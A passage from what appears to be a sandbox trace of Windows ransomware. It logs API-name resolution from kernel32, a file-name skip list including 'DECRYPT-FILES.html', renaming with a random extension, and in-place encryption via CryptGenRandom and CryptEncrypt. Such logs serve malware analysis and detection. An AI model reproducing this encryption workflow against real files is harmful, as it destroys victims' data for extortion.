(lpString="CREATEEVENTW") returned 12 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0138.270] lstrlenA (lpString="CREATEFIBER") returned 11 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0138.270] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0138.270] lstrlenA (lpString="CREATEFILE2") returned 11 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0138.270] lstrlenA (lpString="CREATEFILEA") returned 11 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0138.270] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0138.270] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0138.270] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0138.270] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0138.270] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0138.270] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0138.270] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0138.270] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0138.271] lstrlenA (lpString="CREATEFILEW") returned 11 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0138.271] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0138.271] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0138.271] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0138.271] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0138.271] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0138.271] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0138.271] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0138.271] lstrlenA (lpString="CREATEJOBSET") returned 12 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0138.271] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0138.271] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0138.271] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0138.271] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0138.271] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0138.271] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0138.271] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0138.271] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0138.271] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0138.271] lstrlenA (lpString="CREATEPIPE") returned 10 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0138.271] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0138.271] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0138.271] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0138.272] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0138.272] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0138.272] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0138.272] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0138.272] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0138.272] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0138.272] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0138.272] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0138.272] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0138.272] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0138.272] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0138.272] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0138.272] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0138.272] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0138.272] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0138.272] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0138.272] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0138.272] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0138.272] lstrlenA (lpString="CREATETHREAD") returned 12 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0138.272] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0138.272] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0138.272] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0138.273] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0138.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0138.273] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0138.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0138.273] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0138.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0138.273] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0138.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0138.273] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0138.273] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0138.273] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\eula.rtf.vDxw") returned 40 [0138.273] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.vDxw" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.vdxw"), dwFlags=0x0) returned 1 [0138.274] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.274] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.274] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.274] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0138.274] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0138.275] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0138.275] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0138.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0138.275] lstrlenW (lpString="LocalizedData.xml") returned 17 [0138.275] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1055\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0138.275] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" [0138.275] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1055\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0138.275] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=76818) returned 1 [0138.275] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0138.275] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0138.346] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0138.346] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0138.346] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0138.346] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0138.346] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0138.498] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.499] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0138.499] CloseHandle (hObject=0x5f8) returned 1 [0138.500] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.500] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0138.500] CloseHandle (hObject=0x0) returned 0 [0138.500] CloseHandle (hObject=0x5f4) returned 1 [0138.502] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.502] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.502] GetTickCount () returned 0x37f33 [0138.502] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.502] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0138.502] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0138.503] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.503] lstrlenA (lpString="kernel32.dll") returned 12 [0138.503] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0138.503] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0138.503] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0138.503] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0138.503] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0138.503] lstrlenA (lpString="ADDATOMA") returned 8 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0138.503] lstrlenA (lpString="ADDATOMW") returned 8 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0138.503] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0138.503] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0138.503] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0138.504] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0138.504] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0138.504] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0138.504] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0138.504] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0138.504] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0138.504] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0138.504] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0138.504] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0138.504] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0138.504] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0138.504] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0138.504] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0138.504] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0138.504] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0138.504] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0138.504] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0138.504] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0138.504] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0138.504] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0138.505] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0138.505] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0138.505] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0138.505] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0138.505] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0138.505] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0138.505] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0138.505] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0138.505] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0138.505] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0138.505] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0138.505] 